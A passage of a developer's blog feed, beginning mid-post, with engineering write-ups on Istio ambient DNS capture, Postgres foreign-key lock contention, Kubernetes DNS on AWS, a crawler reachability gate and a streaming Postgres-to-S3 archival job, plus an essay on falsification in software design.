1. Is your namespace enrolled in ambient?

kubectl get ns <your-namespace> -o yaml | grep -iE 'ambient|dataplane-mode'

Look for istio.io/dataplane-mode: ambient on the namespace or the pod. If that label is present, ambient is active on your workload and DNS capture may be intercepting.

2. Is ztunnel running on your nodes?

kubectl -n istio-system get ds ztunnel

If that DaemonSet exists and has running pods on your nodes, DNS capture is a possibility.

3. Compare error rate before and after the annotation.

Put the annotation on one deployment, redeploy just that one, and Loki-count read udp timeouts before-vs-after over a 1-hour window. If the annotation is the difference-maker, you'll see it drop off cleanly.

Why this is worth writing down

The three layers Part 1 covered — ndots, NodeLocal, ENI cap — are load-bearing knowledge for anyone running Kubernetes DNS on AWS. They're in every good post about the topic.

But if your cluster runs a service mesh with a DNS interception feature, that mesh becomes a fourth layer in the chain, and it can produce the exact same client-visible symptom as the other three. Its metrics live in a different namespace, its logs are formatted differently, and the pod itself has no idea it's being intercepted.

The lesson isn't "Istio ambient DNS capture is bad." It's not — it exists for good reasons around ServiceEntry resolution and mesh-consistent behavior. The lesson is that the DNS path from your pod to the upstream resolver may not be the path you think it is, and the way to find out is to enumerate every DaemonSet-scoped component in the request path, not just the ones in Part 1's diagram.

If I was writing the diagnostic framework from scratch today, I'd add a Layer 0 to the list before you look at ndots:

Before assuming your pod talks directly to 169.254.20.10, confirm that assumption.

That's it. That's the whole finding. Everything else — the metrics you inspected, the packet-count math, the ethtool counters — is downstream of that one question.

What silent drops teach you

Every layer in the DNS chain that I care about has the same underlying failure mode: it drops a packet without telling the client. The pod's UDP socket has no way to distinguish "the packet reached the resolver and got no reply" from "the packet was dropped one hop away." Both surface as i/o timeout.

That means diagnostic technique matters more than any single fix. When a timeout can come from four different layers and none of them log an error, you have to work by process of elimination:

Prove Layer 1 (ndots) by counting search-domain queries. Reduce and re-measure.
Prove Layer 2 (NodeLocal) via its own /metrics. Watch for spikes in forward_request_duration_seconds at the 99th percentile.
Prove Layer 3 (ENI cap) via linklocal_allowance_exceeded. Nonzero = you hit it, zero = you didn't.
Prove Layer 0 (mesh interception) exists at all. Check for ztunnel on your nodes and the ambient label on your namespace before any of the above.

For a good six weeks I skipped step 4 because it wasn't in my mental model. Adding it saved me the next six.

Part 1 covered the three DNS layers everyone talks about. This one is the one nobody mentioned, because for anyone not running Istio ambient it doesn't exist. If you are running it, this annotation may be the one-line change you didn't know you needed. If you're not, the meta-lesson still applies: when a chain of components each fails silently, the answer isn't more metrics — it's an accurate diagram.

How Avoiding Locking in Postgres Helped Us Get More Throughput

Harish — Thu, 02 Jul 2026 15:34:58 +0000

This is a submission for DEV's Summer Bug Smash: Smash Stories powered by Sentry.

The observation

One of our services is a distributed worker fleet that builds a large tree
in Postgres (Aurora, db.r6g.xlarge, 4 vCPU, single writer). Each work item a
worker processes yields child records, and every child is upserted as a node
under its parent in the tree.

Under real load — about 90 jobs running concurrently across 20 pods — the
Aurora writer pegged at ~96% CPU and stayed there. Throughput collapsed: work
backed up, the queue grew, and pods sat idle waiting on the database instead of
doing work. The dashboard showed the usual trio of alarms:

CPU ~96%, sustained
Elevated WriteIOPS
~565 database connections
Rising lock-wait time

Every one of those is a symptom. The interesting question was which one was the
cause — and, crucially, which were just downstream of something else.

What we deliberately did not do

When a database is on fire, the reflexes are well-worn:

"565 connections — add a connection pooler, or a bigger instance, or cap the pool."
"High WriteIOPS and table bloat — crank up autovacuum, maybe a VACUUM FULL."
"CPU's at 96% — scale the instance up a tier."

Each of these is a plausible-sounding fix, and each one treats a symptom:

Bigger hardware buys headroom that linear growth eats straight back. We're targeting 3× the load; a one-tier bump is a few weeks of runway, not a fix.
Aggressive vacuum fights dead tuples we hadn't yet proven were the problem — and vacuum itself burns IO and CPU, so "just vacuum harder" can make a CPU-bound box worse.
Connection caps / poolers move the queue from inside Postgres to in front of it. If the work per query is the problem, throttling connections just makes clients wait in a different place.

None of these answers the only question that matters: why is the CPU pinned?
So we didn't touch any of them until we knew.

Step 1 — Read the waits, not the vitals (Performance Insights)

Instead of guessing from CPU/IOPS/connections, we opened Performance Insights
and looked at Top Waits. The dominant wait was not query execution, not disk
I/O, not client wait. It was:

LWLock:MultiXactOffsetBuffer   (with MultiXactGen close behind)

That is an extremely specific fingerprint, and it changed everything.

MultiXacts are how Postgres represents more than one transaction holding a
lock on the same row at the same time. The most common way to create them is a
flood of FOR KEY SHARE locks on a shared row. And who takes FOR KEY SHARE
locks, implicitly, on every write? Foreign keys. When you insert a child row,
Postgres locks the referenced parent row FOR KEY SHARE for the duration of the
transaction, to guarantee the parent can't vanish underneath you.

Our hot table tree_nodes had three foreign keys:

FK column	references	who it locks
`parent_id`	`tree_nodes`	the parent node — contended by all its siblings
`source_node_id`	`tree_nodes`	the node a child was derived from
`job_id`	`jobs`	*one row per job — locked by every* insert for that job**

Under concurrency this is a worst case. Many inserts share a parent (and all
inserts for a job share the single jobs row), so multiple transactions took a
FOR KEY SHARE lock on the same tuple simultaneously. Postgres had to allocate
a MultiXact to track the set of lockers, rewrite the locked tuple's xmax on
every new locker, and push that through the MultiXact SLRU buffers — allocate,
look up, rewrite, WAL, repeat. That SLRU churn was the 96% CPU.

The connections and the WriteIOPS were downstream of this: transactions piled
up because they were serializing on the same rows, and the tuple rewrites drove
the writes. Fix the lock and both recede on their own.

The fix: drop the three FK constraints. Integrity is guaranteed by the
workers' own ordering — a parent node is always written before its child, and
job_id always points at a live row we just created. The indexes stay
(it's the constraint that takes the lock, not the index), so reads are
unaffected.

Result: MultiXact waits went to zero, and CPU came off the ceiling — even at
the same 90-job, full-fan-out concurrency that had pinned it before.

Step 2 — A suspicious calls-to-rows ratio (a tiny cache)

With the biggest fire out, we went back to Performance Insights and looked at the
top statements. The busiest INSERT told on itself:

INSERT INTO tree_nodes (...) ON CONFLICT DO NOTHING
    calls ≈ 1439   rows ≈ 2.78   (per sample)

We were issuing ~1439 insert attempts to actually write ~3 rows. The workers
re-touch the same shared ancestor nodes constantly — the interior nodes near the
root are referenced by every item beneath them — so the overwhelming majority of
inserts were conflict-and-discard: take the unique-index leaf lock, find the
existing row, do nothing. Correct, but not free — every attempt still touches the
index and costs a round-trip.

The fix: a per-run in-memory seen-set — a sync.Map keyed by the node's
full key, populated after each commit. Before attempting an insert we check the
set; if we've already persisted that node this run, we skip the database entirely.
It costs a couple of megabytes for a 20k-node run and evaporates when the process
exits — no schema, no eviction policy, no new failure mode.

Result: the INSERT ratio went from ~1439 calls : 2.78 rows to
~131 calls : 129 rows — we now almost only touch the database for rows that
are genuinely new.

Step 3 — Batch the transactions (the classic one)

Next wait to surface once the churn was gone:

IO:XactSync   ≈ 85% of active samples

IO:XactSync is commit / WAL-flush wait — the fsync at the end of a transaction.
We had been committing once per child record. Thousands of tiny transactions
meant thousands of fsyncs, and the commit itself became the bottleneck.

The fix: the oldest trick in the book — batch. Collect all of a work
item's child records and upsert them in a single transaction: one
BEGIN/COMMIT per item instead of one per child.

Result: IO:XactSync dropped from ~85% to ~32% of active samples.

The payoff

Same workload (cold re-run of 100 jobs, ramping to an 88-job peak):

Metric	Before	After
Writer CPU (peak)	96%	~68% during cold-start ramp, ~20–30% steady at peak
Top wait	`MultiXactOffsetBuffer`	`IO:XactSync` (~32%)
MultiXact waiters	dominant	0
INSERT calls : rows	1439 : 2.78	131 : 129
`IO:XactSync` share	~85%	~32%
DB connections	~565	~246

We got more throughput without a bigger instance, a connection pooler, or
touching autovacuum — the three things we'd have reached for first if we'd trusted
the vitals instead of the waits.

What's next (being honest about the tail)

Optimizations unmask each other. With MultiXact and most commit-sync gone, the new
top wait is a bursty Lock:transactionid on hot parent-counter rows
(children_total, children_processed, …) that every child bump serializes on
during the initial fan-out of high-fan-out parents. That's the next thing to
attack — likely by deferring and coalescing those counter bumps to the end of each
item's batch — and we only know it's next because, again, we read the waits.

Takeaways

Symptoms lie about causes. Connections, IOPS, and CPU were all genuinely high — and all three were downstream of one lock. Fixing any of them directly would have burned time and money without moving the real number.
Read the wait events. MultiXactOffsetBuffer pointed us straight at FK-induced FOR KEY SHARE locking — a diagnosis we would never have guessed from a CPU graph.
Fix in dependency order, and re-measure between each. Kill the dominant wait, look again, kill the next. The seen-set and the batching were cheap and almost obvious — but only measurement told us they mattered, and in what order.
The cheapest fixes are invisible until the expensive one is gone. You can't see the commit-sync problem while a lock is burning 96% of the CPU. Peel the layers.

You can't test your way to certainty — so falsify instead

Harish — Sun, 21 Jun 2026 08:27:19 +0000

I'm currently building a PoC that rebuilds one of our core services from scratch — same job, completely different architecture. The design didn't come from a whiteboard moment; it accreted. I'd solved one issue in the existing system, then another, then another, and one day I looked back at the pile of fixes and something just spoke: this doesn't seem right anymore. The old shape couldn't hold all the patches. So I started over.

And that's where the trouble began.

The fear of infinite examples

As I implemented the new architecture, I worked the way most of us do: run it through an example, watch it break, add a tweak to handle that case, repeat. It felt productive. Each example I fixed made the system a little more capable.

Then a quiet dread crept in: what if this never ends?

I had 20 examples to test the PoC. But 20 was only the start — soon it would be 500, then eventually a million. I could feel myself on a treadmill. Every increment in scale would surface new cases, and I'd be patching forever, never able to point at the system and say "it's done." I couldn't see the end. The space of possible inputs was just too vast, and I was trying to map it one example at a time.

The worst part wasn't the work. It was not knowing how much work was left — or whether "left" even had a bottom.

Engineers have empirical bias

Here's the thing I eventually named. We engineers make a huge number of design decisions based on the examples we happen to observe. We see a few hundred cases, spot the patterns, and bake those patterns into the system. Data scientists have a term for this trap: empirical bias — over-fitting your conclusions to the sample you happened to look at.

In a small project that's fine; you've basically seen everything. But in a large project, the unknowns are unknown. Nobody has observed them. They're not on any list of edge cases because no one knows they exist yet.

Which leads to the question that was actually keeping me up:

How do you know the things that you don't know?

A surprising answer: Karl Popper's falsification

The answer didn't come from an engineering blog. It came from philosophy of science.

Karl Popper was a 20th-century philosopher who asked what separates real science from things that merely sound scientific. His answer was falsifiability. A claim is scientific only if it makes a prediction that could, in principle, be proven wrong.

His famous example is swans. No matter how many white swans you observe, you can never prove the statement "all swans are white" — there could always be another swan around the corner. A thousand confirmations don't make it true. But a single black swan disproves it instantly. So the logic of discovery is asymmetric: confirmation is weak, refutation is decisive.

From this, Popper drew a sharp line. A good theory is a bold conjecture that sticks its neck out — it tells you exactly what observation would kill it, and then survives every attempt to kill it. A theory that can't be falsified by any conceivable observation — one that's compatible with literally any outcome — isn't strong, it's empty. That's not science. That's pseudo-science.

This is, more or less, how mainstream science actually works. Anyone can cook up a theory from observations. What earns it the name "scientific" is that it can be falsified and hasn't been — yet.

How this applies to engineering

Once I saw it, I couldn't unsee the parallel. I had been doing the unscientific thing: accumulating confirming examples ("look, it handles this one too!") and hoping the pile would eventually feel tall enough. It never would. That's the white-swan game, and it has no end.

The shift was to invert it. Instead of trying to confirm my system on more and more cases, try to falsify it. Concretely:

Write down every design decision, heuristic, and assumption the system rests on. Make the implicit explicit. You can't test a belief you haven't articulated.
For each one, name its black swan. Ask: what would disprove this? What exact thing has to happen for this decision to be wrong? If you genuinely can't think of anything that would break it, be suspicious — that's the pseudo-science smell. A decision that can't fail usually isn't saying anything.
Instrument the black swan. Put a log line or a metric on the precise condition that would prove the assumption false. Now the system itself watches for its own counterexamples.
If you're big enough, go hunting. This is exactly what Netflix did with Chaos Monkey. Rather than wait for a server to die at 3 a.m. and hope the system coped, they wrote a tool that randomly kills production instances during business hours — deliberately manufacturing the black swan while engineers are awake to watch it. The assumption under test is "we can lose any single instance and survive," and Chaos Monkey tries to falsify it on a schedule. It later grew into a whole "Simian Army" (latency injection, zone failures, and so on). The philosophy is pure Popper: don't trust that you're resilient because nothing has broken yet — actively try to break it, and let the failures find you before your customers do.

The point isn't to predict every unknown. It's to set a tripwire on each assumption so the unknown announces itself the moment it arrives.

The peace it gave me

This reframe did something I didn't expect: it gave me peace.

I stopped trying to imagine the million examples in advance, because I finally understood that I couldn't, and that chasing them was the wrong game anyway. Instead: state the assumptions, instrument the black swans, and ship it. Unless and until a tripwire fires, there's nothing to worry about. And when one does fire, I'll know instantly — and I'll fix it then, with a real counterexample in hand instead of a hypothetical fear.

The treadmill stopped. Not because the unknowns went away, but because I'd outsourced the worrying to my logs.

Over to you

I'm genuinely curious how others think about this — building large-scale systems that have to handle countless cases you can't enumerate up front. Does the falsification lens resonate, or do you think I'm forcing a philosophy metaphor onto something that needs plain engineering? Tell me where this breaks. And if a particular idea ever gave you peace in the face of the unknown, I'd love to hear it.

DNS is weird inside k8s on AWS

Harish — Sun, 21 Jun 2026 05:18:46 +0000

A ~6 minute read — just three concepts that, once you know them, change how you reason about DNS inside a cluster.

While chasing some DNS timeouts recently, I went down a rabbit hole and came out with three concepts I wish I'd known earlier. None of them is exotic, but together they explain a surprising amount of "why is DNS being weird" behaviour on Kubernetes-on-AWS.

ndots — why one hostname lookup can become many DNS queries
NodeLocal DNS — the per-node caching layer your queries actually hit first
The EC2 per-ENI DNS packet limit — a hard ceiling most people never hear about until they hit it

1. `ndots`: one lookup is rarely one query

Pull /etc/resolv.conf from inside almost any Kubernetes pod and you'll see three interesting lines:

nameserver <cluster-dns>
search my-namespace.svc.cluster.local svc.cluster.local cluster.local ec2.internal
options ndots:5

nameserver — where queries are sent.
search — a list of suffixes the resolver may append to a name before giving up.
options ndots:N — the rule that decides when those suffixes get appended.

ndots is the quiet one, and it's the one that surprises people. It says:

"If the name being looked up contains **fewer than N dots, treat it as a partial/relative name — try it with each search suffix appended **first, and only try it as an absolute name if all of those fail."

Kubernetes defaults to ndots:5. That default exists for a good reason: service discovery. It lets your code say redis or payments.billing and have the resolver expand it to redis.my-namespace.svc.cluster.local. Very convenient inside the cluster.

The catch is what happens to real external hostnames, which usually have fewer than 5 dots. Take data.example.com — that's 2 dots. Since 2 < 5, the resolver assumes it's relative and walks the entire search list before trying the real thing:

1. data.example.com.my-namespace.svc.cluster.local   → NXDOMAIN
2. data.example.com.svc.cluster.local                → NXDOMAIN
3. data.example.com.cluster.local                    → NXDOMAIN
4. data.example.com.ec2.internal                     → NXDOMAIN
5. data.example.com                                  → the real answer

That's 5 queries to resolve one name, four of them guaranteed misses. And remember the resolver issues A (IPv4) and AAAA (IPv6) records in parallel, so realistically you're looking at up to ~10 DNS queries for a single hostname.

The fix is one line: set ndots:1. Then any name with at least one dot is tried as an absolute name first, and data.example.com resolves in a single shot (well, two — A and AAAA). You only lose the convenience of short, suffix-less service names — which most apps that talk to FQDNs and external hosts don't rely on anyway.

# pod spec
dnsConfig:
  options:
    - name: ndots
      value: "1"

Takeaway: on Kubernetes, the number of DNS queries your app generates is not the number of lookups it makes. ndots is the multiplier, and the default of 5 is tuned for in-cluster discovery, not external traffic.

2. NodeLocal DNS: the (optional) cache hop you might not know is there

First, the baseline that is effectively universal: every cluster has a cluster DNS service — historically kube-dns, and CoreDNS by default since Kubernetes 1.13. It runs centrally as a Deployment (a handful of pods behind a ClusterIP Service, usually at .10 of the service CIDR, e.g. 10.96.0.10), and every pod's resolv.conf points its nameserver at that Service IP.

NodeLocal DNSCache is not mandatory — it's an optional add-on you opt into. When present, it inserts a per-node caching layer between the pod and CoreDNS, so your pod resolves against the local node first instead of reaching across the network to the central CoreDNS Service on every query:

  ┌─────────┐  link-local IP     ┌──────────────────┐
  │  Pod    │ ─────────────────► │  NodeLocal DNS   │  (DaemonSet — one per node)
  │ (glibc) │   UDP :53          │  on-node cache   │
  └─────────┘                    └────────┬─────────┘
                                          │ on cache miss, forward
                          ┌───────────────┴────────────────┐
                          │                                 │
                  *.cluster.local                    everything else
                          │                                 │
                          ▼                                 ▼
                  ┌───────────────┐                ┌──────────────────┐
                  │ CoreDNS /     │                │  Upstream / VPC  │
                  │ kube-dns      │                │  resolver        │
                  │ (in-cluster)  │                │  (cloud-provided)│
                  └───────────────┘                └──────────────────┘

What it is and why it exists:

NodeLocal DNS runs as a DaemonSet — one instance per node — and listens on a link-local address (an IP in the 169.254.0.0/16 range, which is node-local and never routed off the box).
Every pod on that node sends its DNS queries to this local instance first. The query never leaves the node for a cache hit.
This solves two real problems: it cuts latency (no network hop for cached answers), and it avoids a known conntrack/UDP race that caused intermittent 5-second DNS hangs when pods talked to a cluster-wide DNS service directly.
On a cache miss, NodeLocal forwards the query upstream — cluster-internal names (*.svc.cluster.local) go to CoreDNS/kube-dns; everything else goes to the upstream resolver (on AWS, the VPC resolver / AmazonProvidedDNS).

The important mental model (when NodeLocal is present): caching only helps for repeated names, and only within a TTL. A positive answer is cached for its record's TTL; a negative answer (NXDOMAIN) is cached according to the zone's SOA. If you re-resolve the same host frequently, NodeLocal absorbs most of it. If your names or TTLs churn, more queries forward upstream.

3. The EC2 per-ENI DNS packet limit (~1024 pps)

This is the one almost nobody knows until it bites: EC2 caps DNS traffic at roughly 1024 packets per second per network interface (ENI).

Details that matter:

It's specifically the path to the VPC resolver (the .2 address / AmazonProvidedDNS) — packets to the Route 53 Resolver are what's metered.
The limit is per-ENI, which in practice usually means per-node (or per-pod, if pods get their own ENIs). It is not a cluster-wide pool and it cannot be raised via a support ticket — it's a fixed allowance.
When you exceed it, AWS doesn't return an error. It silently drops the excess packets. A dropped UDP query gets no response, so the client just waits and eventually reports i/o timeout.

How you'd actually prove you're hitting it (rather than assuming): AWS exposes a per-ENI counter, linklocal_allowance_exceeded, that increments each time a packet is dropped for crossing this limit. Read it on the node:

ethtool -S <interface> | grep allowance_exceeded

A few honest caveats, because this is exactly where people jump to conclusions:

The counter only proves anything if it's increasing during the timeout window. A reading of 0, or a value on an idle/freshly-provisioned node, tells you nothing.
Hitting this limit requires genuinely high DNS packet rates. A service that resolves a small set of hosts repeatedly — where NodeLocal caches the answers — typically won't get anywhere near 1024 pps. So before blaming this limit, confirm the packet rate is actually high and the counter is actually moving.
The ndots amplification from concept #1 is what makes this limit easier to hit than you'd expect — because each logical lookup can be ~10 packets — but amplification of a low request rate is still a low request rate.

Takeaway: the ~1024 pps per-ENI DNS cap is real and unraiseable, and its failure mode (silent drops → timeouts) is genuinely confusing. But it's a ceiling you have to measure, not assume — linklocal_allowance_exceeded is the only thing that proves it.

How the three fit together

These aren't three separate facts — they're a chain:

Your app makes a DNS lookup.
ndots decides how many actual queries that becomes (default ndots:5 → potentially ~10×).
Those queries hit NodeLocal DNS first; cache hits stay on the node, misses forward to CoreDNS or the VPC resolver.
The forwarded traffic to the VPC resolver is metered against the ~1024 pps per-ENI limit, and silently dropped past it.

Knowing the chain is what lets you reason about a DNS problem instead of guessing: is my query count inflated (ndots)? is my cache actually being used (NodeLocal + TTLs)? am I genuinely hitting the packet ceiling (linklocal_allowance_exceeded)? Three different questions, three different places to look.

That's the toolkit. Where it points in any specific incident is a separate investigation — and proving which link in the chain is actually responsible takes measurement, not assumption.

Your DNS check is lying to you

Harish — Sat, 06 Jun 2026 03:08:29 +0000

Or: how a "this host is dead" verdict from a single net.LookupHost call quietly broke our crawler, and what we did about it.

The setup

We run a crawler that fetches tens of thousands of corporate websites a day from a datacenter. Before we spend any budget on a fetch — the actual HTTP request, the residential proxy hop, the S3 upload — we run a cheap reachability gate. The job of the gate is one thing: answer the question "is it even worth trying to fetch this host from here?"

The first version of that gate was the obvious thing: resolve the host. If DNS returns an IP, the host exists. If it doesn't, mark the URL dead and move on.

That gate was wrong often enough to matter. This is the story of the four ways it was wrong, and the gate we ended up with.

Why "just resolve the host" isn't enough

A naive reachability check has the shape:

Call net.LookupHost. If it returns IPs, the host is reachable. If it errors, it isn't.

Every clause in that sentence is a lie in production. Here are the four leaks we hit, in order of how painful they were.

Leak 1 — CNAME chains the resolver doesn't finish in time

A lot of corporate sites don't resolve directly. They sit behind a CDN, which sits behind a tenant-specific alias, which sits behind a regional load-balancer name. From DNS's point of view, that's a CNAME chain:

ir.bigcorp.com  →  bigcorp.cdnvendor.net  →  edge-eu-west-3.cdnvendor.net  →  A 203.0.113.42

LookupHost is supposed to chase the chain transparently and hand you the final IP. It usually does. But "usually" hides two real failure modes:

The resolver chases the chain in series under a single deadline. A slow hop two-thirds of the way down eats the whole budget; the call returns a timeout, not the IP it would have found with another 200ms.
An intermediate hop misbehaves — wrong record type, NXDOMAIN at a tier the resolver doesn't expect, a stub that's been decommissioned. The lookup fails even though the host is registered and reachable through other paths.

Both look identical to the caller: LookupHost returned an error. The naive gate calls the host dead. The next day a human checks, the site loads fine in a browser, and we've burned a perfectly good URL.

Leak 2 — datacenter IPs get blocked silently

Plenty of origins explicitly drop connections from cloud IP ranges. From a residential connection they answer instantly; from our crawler's egress IP the TCP handshake just times out. There's no error code that says "I'm filtering you" — it looks exactly like a dead origin.

DNS resolves fine in that case, so the naive gate passes the host through. The fetch then burns its full timeout on a connection that was never going to land. Worse, when we do go through our residential proxy, the host fetches cleanly. The check we wanted to make — "is the origin actually down or is it just down **for us" — wasn't being made anywhere.

Leak 3 — TLS versions that our real client will refuse anyway

Our production HTTP clients pin MinVersion: TLS 1.2. Some long-tail origins still only negotiate TLS 1.0/1.1. DNS passes, the TCP handshake passes, the TLS handshake fails with a protocol-version alert, and we've spent a residential proxy request finding that out.

If we'd noticed at the gate that the server's best offer was below our floor, we could have failed the URL immediately and saved the spend.

Leak 4 — costing the proxy on requests that didn't need it

Residential proxy requests are not free. Routing every uncertain host through the proxy "just to be sure" turns a reachability check into one of the most expensive parts of the pipeline. Whatever we built had to use the proxy as a tiebreaker, not as a first resort.

What we built instead

A three-stage gate, ordered cheapest-and-most-certain first. Each stage can short-circuit the result; the proxy is only touched when the cheap stages genuinely can't tell.

Stage 1 — DNS that walks the CNAME chain by hand

The fast path is still LookupHost. It works for the vast majority of hosts, including most CNAME chains, and it costs nothing extra.

The slow path is what changes. When LookupHost fails, we don't conclude "dead host" — we conclude "the resolver couldn't finish the chain in one shot." So we walk the chain ourselves: LookupCNAME, advance one hop, try LookupHost at that level, repeat. Several things fall out of this:

A bounded hop count (we picked 5) protects us from CNAME loops and pathologically deep chains.
A visited set catches loops that don't show up as depth — a CNAME that points back to a name we've already seen.
A canonical-name dead-end (CNAME points to itself, or to a name with no further records) returns the original error, so genuine NXDOMAINs still surface as NXDOMAINs.
An intermediate hop that resolves where the full chain timed out is treated as a pass. The reasoning: the original timeout was almost certainly cumulative, not terminal. If any level in the chain has a working A record, the host is alive.

This single change moved a measurable chunk of URLs out of the "dead" bucket.

Stage 2 — TLS as a three-way verdict, not a boolean

A direct TLS dial from our datacenter is doing two jobs at once. It's checking whether the server speaks a version we accept, and it's checking whether the server answers us at all. Those two outcomes need different handling, so we classify the dial as one of three things:

Usable — handshake completed, negotiated version ≥ TLS 1.2. Pass. The fetch will work.
Rejected — the server sent a TLS alert, or negotiated below our floor. Fail fast, and importantly: do not waste a proxy probe on this. Our real client would be rejected the same way; the proxy can't fix a TLS-version mismatch.
Inconclusive — a bare network error (timeout, connection refused, reset). From a datacenter IP this could mean a dead origin, or an origin that filters cloud ranges. We don't know yet, so we defer to stage 3.

The trick that makes stage 2 work is dialing with a permissive MinVersion (TLS 1.0). We want to see what the server can do, then enforce our floor ourselves — otherwise the handshake fails the version check before we get to see what was actually negotiated, and "version too old" becomes indistinguishable from "didn't answer."

Distinguishing a TLS alert from a network error needs a little care: timeouts are network, tls.AlertError is a server-sent alert, anything else carrying a tls: marker (record-header mismatch, plaintext where TLS was expected, protocol-version errors) is a TLS-layer rejection.

Stage 3 — residential proxy as a tiebreaker

Only the inconclusive case reaches here. The question we're answering is "is the origin actually dead, or is it just dead **for our datacenter IP?" — and the only way to answer it is to ask from a non-datacenter vantage point.

We send a single GET through the residential proxy with a generous budget (~20s — a residential hop is much slower than a local dial, and a tight budget would itself produce false negatives). Reachability semantics, not success semantics: any HTTP response — 200, 301, 403, even 404 — proves the origin is up and answering, so it passes the gate. The gate fails only when the request never reaches a responding origin: a transport error, or a proxy-upstream 5xx (502/503/504, the way our proxy signals it couldn't reach the upstream).

One retry with a small randomized backoff absorbs transient edge failures at the proxy without ballooning cost. If the proxy is unconfigured or its URL is malformed, the gate refuses to declare a host dead on the strength of our own broken config — it returns "cannot confirm" and lets the host through.

The flow

                                ┌─────────────────────────────┐
                                │     ResolveHost(host)       │
                                └──────────────┬──────────────┘
                                               │
                                               ▼
                            ┌──────────────────────────────────┐
                            │   Stage 1: DNS                   │
                            │   LookupHost(host)               │
                            └──────────────┬───────────────────┘
                                           │
                       ┌───────────────────┴────────────────────┐
                       │                                        │
                       ▼ ok                                     ▼ error
              (continue to stage 2)                ┌────────────────────────┐
                       │                           │  Walk CNAME chain      │
                       │                           │  hop-by-hop, max 5     │
                       │                           │  - dedupe via visited  │
                       │                           │  - retry LookupHost    │
                       │                           │    at each hop         │
                       │                           └────────────┬───────────┘
                       │                                        │
                       │              ┌─────────────────────────┴──────────────┐
                       │              │ any hop resolves    chain dead / loop  │
                       │              ▼                     ▼                  │
                       │      (continue to stage 2)   FAIL (real NXDOMAIN /    │
                       │                              chain exhausted)         │
                       │                                                       │
                       ▼                                                       │
            ┌──────────────────────────────────────────┐                       │
            │ Stage 2: TLS probe                       │                       │
            │   tls.Dial host:443                      │                       │
            │   MinVersion = TLS 1.0 (permissive)      │                       │
            │   classify the outcome                   │                       │
            └─────────────┬────────────────────────────┘                       │
                          │                                                    │
       ┌──────────────────┼─────────────────────────┐                          │
       ▼ usable           ▼ rejected                ▼ inconclusive             │
  handshake ok,     TLS alert, or                 bare net error               │
  negotiated ≥ 1.2  negotiated < 1.2              (timeout/refused/reset)      │
       │                  │                            │                       │
       ▼                  ▼                            ▼                       │
     PASS              FAIL (fast,             ┌─────────────────────────┐     │
                       don't touch proxy)      │ Stage 3: proxy probe    │     │
                                               │   GET https://host/     │     │
                                               │   via residential proxy │     │
                                               │   retry once + jitter   │     │
                                               └─────────────┬───────────┘     │
                                                             │                 │
                                              ┌──────────────┴───────────┐     │
                                              ▼ origin answered          ▼     │
                                              (any HTTP status)     transport  │
                                              PASS                  err / 5xx  │
                                                                     FAIL      │
                                                                               │
                                                                               │
                          ◄────────────────────────────────────────────────────┘

What we learned along the way

A few generalisable things fell out of building this.

A reachability gate has to model where it's running from. A check that's perfectly accurate from a laptop is wrong half the time from a datacenter. The vantage point is part of the system.

Failure has more states than success does. "Dead" is at least three different things — DNS doesn't resolve, TLS won't handshake, network won't connect — and conflating them means you can't act on them differently. The three-way TLS outcome was the single biggest fix in this whole thing.

Order checks by cost, and let cheap checks short-circuit expensive ones. Stage 1 catches most dead hosts. Stage 2 catches version-incompatible hosts before we burn proxy budget. Stage 3 only runs when the first two genuinely couldn't tell.

Trust your own outputs more than the resolver's outputs. Walking the CNAME chain by hand felt like working around the standard library, but the standard library is doing one thing (give the caller an IP) and we needed another (tell the caller whether the host exists at all). They're not the same question.

Configuration failures must not look like host failures. A missing proxy URL is our problem, not the host's. The gate has to fail open on its own broken config — otherwise a config regression silently nukes thousands of perfectly good URLs.

If you're building anything that touches the long tail of the public web from a datacenter, your "is this host alive" check is probably hiding two or three of these leaks. It's worth a look.

How a 500 MB Buffer Killed Our Archival Job — And Why Streaming Fixed It

Harish — Thu, 28 May 2026 13:23:43 +0000

The job that kept dying

We run a nightly archival job that exports a few large Postgres tables to S3 as gzipped JSONL. On paper it's a humble piece of glue: read rows, serialize, compress, upload. In practice, it was getting OOM-killed by Kubernetes most nights on the larger tenants.

The pod's memory limit was 1 GiB. The biggest table being archived had ~466K rows. At peak we measured the Go heap pushing past 700 MB before the kernel reaped us.

That ratio — 466K small rows producing hundreds of megabytes of heap — was the smell. None of those rows is large. Something in the pipeline was hoarding all of them at once.

What the original code looked like

Roughly, the archival path was this:

rows, _ := q.GetFetchQueueForArchive(ctx, domainID)  // []Row, materialized

var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
for _, r := range rows {
    line, _ := json.Marshal(r)
    gz.Write(line)
    gz.Write([]byte("\n"))
}
gz.Close()

s3.PutObject(ctx, &s3.PutObjectInput{
    Bucket: &bucket,
    Key:    &key,
    Body:   bytes.NewReader(buf.Bytes()),
})

Read that with a memory profiler in your head and the bug is obvious:

GetFetchQueueForArchive is a SQLC :many query. It loops over rows.Next() internally, scans every row into a struct, and appends to a slice. The whole result set lands in the heap before the function returns. For 466K rows of ~1 KB each, that's about 500 MB.
Then we compress into bytes.Buffer — another ~100 MB of gzipped bytes, in memory.
s3.PutObject requires either a Content-Length header or a seekable body. We satisfy that by handing it the fully-buffered bytes. So the whole compressed payload has to coexist in RAM with the source slice until at least the slice goes out of scope.

Peak heap ≈ rows slice + gzip buffer ≈ ~600 MB. Add the rest of the process (DB driver, AWS SDK, goroutine stacks) and we cross the 1 GiB ceiling. The pod dies. K8s restarts it. It dies again on the same table.

The crucial observation: memory usage scales linearly with table size, even though we never need more than one row at a time to do the work. That's a design bug, not a tuning problem. No amount of bumping the memory limit fixes it — the next tenant with twice the rows blows past whatever ceiling you pick.

The shape of the fix

The goal: never hold more than one row's worth of data in Go memory. The pipeline should look like a hose, not a tank. Bytes flow Postgres → JSON → gzip → S3 in a single producer/consumer pipeline, where each stage processes one small unit at a time and exerts backpressure on the previous stage.

Concretely:

pgx.Rows (server-side cursor)
   ↓  rows.Next() → scan one row → ~1 KB
json.Marshal(row)
   ↓                              ~1 KB line
gzip.Writer                       ~32 KB internal compression window
   ↓
io.Pipe (synchronous, zero-buffer)
   ↓
s3manager.Uploader                 5 MB per multipart part
   ↓
S3 (multipart upload)

Peak memory: 1 row + 32 KB gzip window + 5 MB part buffer × upload concurrency ≈ ~25 MB, regardless of whether the table has 1K rows or 100M rows.

The four primitives that make this work

1. `pgx.Rows` — a server-side cursor

pool.Query() returns a Rows handle backed by a Postgres cursor. rows.Next() pulls one row at a time across the wire; only the row currently being scanned lives in Go memory. This is fundamentally different from what SQLC's :many generates, which loops and appends every row into a slice before returning. The streaming path bypasses SQLC and talks to the pool directly with the raw SQL string.

